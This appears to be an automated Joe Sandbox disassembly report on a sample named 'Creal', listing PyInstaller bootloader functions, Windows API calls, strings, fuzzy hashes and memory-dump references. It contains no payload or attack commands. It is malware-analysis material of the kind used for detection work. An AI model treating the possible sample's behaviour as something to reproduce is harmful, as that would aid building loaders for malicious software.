Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandMessagePathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 3563477958-1339014028
Opcode ID: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction ID: 3b720f627c51ce67968b1a7da087867c6f71361342c80c3bd128b0f679f0a304
Opcode Fuzzy Hash: 191653d34e5a06968e8282251bef030903df87164e49fe651f79a53b4d97858f
Instruction Fuzzy Hash: 46419011A3964244FA50EF66AB652BD1391AF997C4F804133ED0DC7BDAEE3CE525CB80

Function 00007FF6D9241210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6D924141E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6D92412EF
1.3.1, xrefs: 00007FF6D9241249
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6D92412BA
malloc, xrefs: 00007FF6D92412C1, 00007FF6D92412F6
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6D9241276

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: 8c3d3767c92c3f25500c132f33d9ae5f36ceff73d91df2c2d10727b506476509
Instruction ID: 268c282573fa5c687afce056b4cbdec0966b675da94471dd5496056e077a9830
Opcode Fuzzy Hash: 8c3d3767c92c3f25500c132f33d9ae5f36ceff73d91df2c2d10727b506476509
Instruction Fuzzy Hash: 3E51F722A2864241FA619F11AA413BE7690FF69794F444133ED4DC7BCAEF3CE425CB40

Function 00007FF6D925ED10 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6D925F0AA,?,?,-00000018,00007FF6D925AD53,?,?,?,00007FF6D925AC4A,?,?,?,00007FF6D9255F3E), ref: 00007FF6D925EE8C
GetProcAddress.KERNEL32(?,?,?,00007FF6D925F0AA,?,?,-00000018,00007FF6D925AD53,?,?,?,00007FF6D925AC4A,?,?,?,00007FF6D9255F3E), ref: 00007FF6D925EE98

Strings

api-ms-, xrefs: 00007FF6D925EDD6
ext-ms-, xrefs: 00007FF6D925EDE9

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction ID: 171a3e1c5694dc4e9508cc8447d0f7a4170881ef5584123bc21729e3034b797d
Opcode Fuzzy Hash: 113d78e4ddfca44ef7199ea688f338981f8b4522c7c5ddaba00381c3941a83e2
Instruction Fuzzy Hash: E641EF21B3AA0251FA55DF16AA0067D2295BF49BB0F88913BDD1DD7798EE3CE865C300

Function 00007FF6D92436B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6D9243804), ref: 00007FF6D92436E1
GetLastError.KERNEL32(?,00007FF6D9243804), ref: 00007FF6D92436EB

Part of subcall function 00007FF6D9242C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6D9243706,?,00007FF6D9243804), ref: 00007FF6D9242C9E
Part of subcall function 00007FF6D9242C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6D9243706,?,00007FF6D9243804), ref: 00007FF6D9242D63
Part of subcall function 00007FF6D9242C50: MessageBoxW.USER32 ref: 00007FF6D9242D99

Strings

GetModuleFileNameW, xrefs: 00007FF6D92436FA
\\?\, xrefs: 00007FF6D924375A
Failed to obtain executable path., xrefs: 00007FF6D92436F3
Failed to resolve full path to executable %ls., xrefs: 00007FF6D9243739
Failed to convert executable path to UTF-8., xrefs: 00007FF6D9243790

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 7af964d9428004d4d5952aa804a10e16b7ad84caec0c6daa75e113e5628370d3
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 86213061B2864241FA21FF25EA153BE2250BFAC754F404237D69DC69D5EE2CE624CB40

Function 00007FF6D925BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D925BE89

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c3f57b6cd1f658b3a1cfdd45bc75f21d2f6c8be166295f0eb40444005b392bd6
Instruction ID: 7e340d9fd1579614a6df1175c9ce18073fb24c3a3d92866361ac2e5e7721bca4
Opcode Fuzzy Hash: c3f57b6cd1f658b3a1cfdd45bc75f21d2f6c8be166295f0eb40444005b392bd6
Instruction Fuzzy Hash: 9CC1C722A2C68691FBE09F159A442BD7B50FF81B90F594133EA4E837D9DF7CE8658700

Function 00007FF6D9248570 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6D9248590
OpenProcessToken.ADVAPI32 ref: 00007FF6D92485A3
GetTokenInformation.KERNELBASE ref: 00007FF6D92485C8
GetLastError.KERNEL32 ref: 00007FF6D92485D2
GetTokenInformation.KERNELBASE ref: 00007FF6D9248612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6D924862E
CloseHandle.KERNEL32 ref: 00007FF6D9248646

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction ID: f6b4f96d4b3b1fc2a8f24ac62092457c80de4ce11f261c031b44db1d610995a0
Opcode Fuzzy Hash: 1c88e2159774aae00215e56fe2a2a719af09135261df6dbcfc7a62e4558c2eb4
Instruction Fuzzy Hash: 64214431A2C64242FB509F59F64423EA7A0FF957A0F500236EA6D87BE8DFBCD4558B40

Function 00007FF6D92490E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D9248570: GetCurrentProcess.KERNEL32 ref: 00007FF6D9248590
Part of subcall function 00007FF6D9248570: OpenProcessToken.ADVAPI32 ref: 00007FF6D92485A3
Part of subcall function 00007FF6D9248570: GetTokenInformation.KERNELBASE ref: 00007FF6D92485C8
Part of subcall function 00007FF6D9248570: GetLastError.KERNEL32 ref: 00007FF6D92485D2
Part of subcall function 00007FF6D9248570: GetTokenInformation.KERNELBASE ref: 00007FF6D9248612
Part of subcall function 00007FF6D9248570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6D924862E
Part of subcall function 00007FF6D9248570: CloseHandle.KERNEL32 ref: 00007FF6D9248646

LocalFree.KERNEL32(?,00007FF6D9243C55), ref: 00007FF6D924916C
LocalFree.KERNEL32(?,00007FF6D9243C55), ref: 00007FF6D9249175

Strings

D:(A;;FA;;;%s), xrefs: 00007FF6D9249157
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF6D9249183
S-1-3-4, xrefs: 00007FF6D9249121
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6D9249142

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction ID: caf793ac16fa0c9c96fa11aa82ce0c57272d8764d382d2038cf26d7e92f04b8b
Opcode Fuzzy Hash: 5ed7a9ba3e6ce910408607b93085540bd422a8d0f9e00f9f84049ca226c14b37
Instruction Fuzzy Hash: 47217E21A28B4281F710AF50EA153EE6264FF98780F444033EA4D97B96DF3CD824CB80

Function 00007FF6D9247E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00000000,?,00007FF6D924352C,?,00000000,00007FF6D9243F23), ref: 00007FF6D9247F32

Strings

\, xrefs: 00007FF6D9247E97
%.*s, xrefs: 00007FF6D9247EEB
%s%c, xrefs: 00007FF6D9247EA4

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: 0a1826b3976cf394d6c69a3484333580a0c999f10c71881858e4713a6abe202e
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: 2331A521729AC545FB219F21E9507AE6358EB98BE0F440332EA6D87BC9DE2CD6158B40

Function 00007FF6D925CF60 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6D925CF4B), ref: 00007FF6D925D07C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6D925CF4B), ref: 00007FF6D925D107

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction ID: a1e8499501d925037dda841dd7d362c930f1f3b4bc394ed19ccfa518782d6e8d
Opcode Fuzzy Hash: a47a8d54e36ced6583969bea4ac316e5fdc1f02f5f342ddc714eca2f45cad1a1
Instruction Fuzzy Hash: 0F91A572F2869195F7A0DF6596402BD2BA0BB44B88F54423BDE0ED7E99DF38D462C700

Function 00007FF6D925F98C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF6D925FA7C
_get_daylight.LIBCMT ref: 00007FF6D925FA8D
_get_daylight.LIBCMT ref: 00007FF6D925FA9E
_isindst.LIBCMT ref: 00007FF6D925FB69

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction ID: 6af2f7f143aa3862729983c47c96039319b3155c0cc8c78840c5485e60dcacf7
Opcode Fuzzy Hash: 873197461a12b50781dd6dd2a54ab0b7f590f407db75148e336b6c99fa373a01
Instruction Fuzzy Hash: 4551F672F252118AFB58DF649A957FC2B61AF48368F500236DD1E92EE9DF38A412C700

Function 00007FF6D925577C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF6D92557AF
GetFileInformationByHandle.KERNELBASE ref: 00007FF6D9255811
GetLastError.KERNEL32 ref: 00007FF6D92558A2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6D92556B4), ref: 00007FF6D92558EE

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 6aefb500db5e0848cb3e1a230f039049599ff649377a7022c72adab745f1037c
Instruction ID: 9880285b5278e1bf631644dff829c656227968ed3b157179f056bfa8be1b0cde
Opcode Fuzzy Hash: 6aefb500db5e0848cb3e1a230f039049599ff649377a7022c72adab745f1037c
Instruction Fuzzy Hash: 16517C22E286418AFB90CFB1D6547BD37A1AF48B58F148436DE4D9B68DDF38D4A1C780

Function 00007FF6D9255628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9255655
CreateFileW.KERNELBASE ref: 00007FF6D9255694
CloseHandle.KERNEL32 ref: 00007FF6D92556C9

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction ID: fe44db68a00d0671d3096fea69a0d43f37620bcfbdb4405a9acc409469ed7bc0
Opcode Fuzzy Hash: 8f3d5377b4ca72f71b0fe910297a4b2920b1cd85568e136600ee028e7f718979
Instruction Fuzzy Hash: 72418062E2878283F6908F61965077D7760FF947A4F109336E69C43AD9DF6CE5B08740

Function 00007FF6D924CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6D924CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6D924CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6D924CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF6D924CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6D924CD21

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: 13ca7f3b7e9f453d7bdc29cee3990acb35265787cc281f752ee39ef04d2a9931
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: B4314825E6C14381FA64FF69EA213FD26919F69384F445037D90ECB6E7DE2CB824CA40

Function 00007FF6D9259A30 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6D9259A2C), ref: 00007FF6D9259A41
TerminateProcess.KERNEL32(?,?,?,00007FF6D9259A2C), ref: 00007FF6D9259A4C
ExitProcess.KERNEL32 ref: 00007FF6D9259A5B

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction ID: da9f16780d741f2e59ac375949935e928ad5b9b6629476bfa3d53f424471fd5b
Opcode Fuzzy Hash: 148d460979eed4a43ebbf671c65dc2dc638c0d89c9c01e8e00358d5495882c84
Instruction Fuzzy Hash: A7D09218F3C70652FF983F705E9907C12656F88B01F54247EC80B86797ED2CA8698390

Function 00007FF6D925013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9250180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6D9250277

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction ID: cc327ae4641572ae9d2db0d00580a935136659c34b487b994e853c9dda6b292e
Opcode Fuzzy Hash: 2fd4b9cf4e2c203a215f80a0453bc9b94d2a0e119ef729a2f51343e3c0f92604
Instruction Fuzzy Hash: A6512621B6924186FBA89E259E0067E6691BF85BB4F188736DD6DC37CDCE3CE4218701

Function 00007FF6D925C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF6D925C2CD), ref: 00007FF6D925C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF6D925C2CD), ref: 00007FF6D925C18A

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443809185.00007FF6D9284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff6d9240000_Creal.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 3dab6708cd9e055f0e70409c844e67654d4fc403a7336758c641b5115c36c037
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: AF110421728A8181EA60DF25BA0407DA361AB41FF0F544332EE7D8BBE8DE3CD0608700

Function 00007FF6D9255924 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6D9255839), ref: 00007FF6D9255957
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6D9255839), ref: 00007FF6D925596D

Memory Dump Source

Source File: 00000002.00000002.2443674635.00007FF6D9241000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6D9240000, based on PE: true

Associated: 00000002.00000002.2443644124.00007FF6D9240000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443713204.00007FF6D926B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D927E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2443747593.00007FF6D9282000.00000004.00000001.01000000.00000009.sdmpDownload File
